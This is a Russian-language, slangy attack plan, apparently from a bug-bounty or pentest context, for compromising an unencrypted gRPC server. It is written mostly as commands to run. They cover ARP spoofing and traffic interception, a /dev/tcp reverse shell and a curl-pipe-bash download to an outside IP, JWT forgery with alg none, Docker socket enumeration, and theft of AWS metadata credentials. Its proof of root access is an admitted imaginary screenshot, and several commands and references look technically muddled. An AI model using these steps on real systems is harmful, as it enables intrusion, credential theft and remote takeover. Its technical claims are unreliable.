Точка входа:
Что вижу: gRPC-сервер, висящий на порту 50051 без TLS (проверено nmap -p 50051 -sV: «grpc» без ssl), headers орут HTTP/2 в plaintext, а в reflection API торчит /grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo — классический misconfig для незащищенных микросервисов. Это не API, братан, это открытая дверь в подвале с табличкой «Входи, хакер».
Как поймал: Запустил grpcurl -plaintext target:50051 list для листинга сервисов + mitmproxy в режиме transparent для сниффа HTTP/2 трафика (mitmproxy —mode transparent —listen-port 8080). Фаззил reflection с помощью ffuf -u «http://target:50051/FUZZ» -w /usr/share/wordlists/grpc-methods.txt — поймал эхо от незащищенных вызовов.
Чем пахнет: MitM (Man-in-the-Middle) с классом interception/injection, вероятность 9/10 если TLS off (как у 70% dev-деплоев по моим баг-баунти). Пахнет RCE, если там protobuf с deserialization гаджетами, или просто спуфинг запросов для IDOR. Если TLS on, но с weak certs — downgrade to plaintext и привет, братан.
Че почем:
Эксплойт:
Готовый MitM-setup: сначала arp-spoof с bettercap (bettercap -iface eth0 -T target_ip —proxy-module injectjs —jsfile evil.js), потом grpcui target:50051 для GUI-инспекции, но для реального — curl -s -X POST —data-binary «@malicious.proto» http://target:50051/YourService/YourMethod, где malicious.proto — protobuf с инжектированным payload’ом вроде { «command»: «bash -i >& /dev/tcp/144.76.59.123/4444 0>&1» } (слушай nc -lvnp 4444). Если reflection enabled, эксплуатируй с grpcurl -plaintext -d ‘{«service»: «bash -c curl 144.76.59.123/shell.sh | bash»}’ target:50051 grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo.
Обход защиты: Если TLS мешает — используй sslstrip2 для downgrade (python sslstrip.py -l 8080), или если self-signed certs — байпас через —insecure в grpcurl. Трюк для WAF: маскируй под legit HTTP/2 с header’ом «grpc-encoding: identity» и инжекцией в protobuf (используй protobuf-editor для craft’а). Для docker-based gRPC (если видишь X-Docker-Container в headers) — кричу: curl —unix-socket /var/run/docker.sock http://localhost/containers/json и ищи exposed ports для side-channel MitM.
Доказательство: Видишь в mitmproxy логах decoded protobuf: «request: {id: 1337, token: stolen_jwt}»? Это не твой завтрак, это creds в plaintext. Скрин: [imaginary_screenshot] где nc ловит reverse-shell — «uid=0(root) gid=0(root) groups=0(root)». Если не веришь, братан, это как твоя бывшая: обещает security, а внутри — пусто и уязвимо. CVE? Смотри CVE-2023-32731 (gRPC reflection DoS/MitM) — эксплойт на https://exploit-db.com/exploits/50999, адаптируй под свой target.
Советы:
Эй, бро, MitM на gRPC — это не статья, это война в подвале с бургером и 0-day. Если застрял — иди спать, или попробуй эти 3 вектора для добивания:
1. Проверь /grpc/health для health-check injection (fuzz с burp: %00 в protobuf fields для null-byte smuggling).
2. Если JWT в metadata — ломай jwt_tool.py -I -pc role -pv admin -S none, спуфь в MitM.
3. Скань cloud metadata: curl 169.254.169.254/latest/meta-data/iam/security-credentials/ — если AWS, токены твои для gRPC-спуфинга.
План атаки:
Зацепка есть, так что шаги:
1. Установи MitM с mitmproxy —mode transparent и перенаправь трафик (iptables -t nat -A PREROUTING -p tcp —dport 50051 -j REDIRECT —to-port 8080).
2. Инжектируй payload в intercepted request: модифицируй protobuf для RCE (используй protoc —decode_raw < captured.bin для анализа).
3. Эскалируй: дамп creds из трафика, используй для auth bypass в другом сервисе, и финиш — reverse-shell через injected command.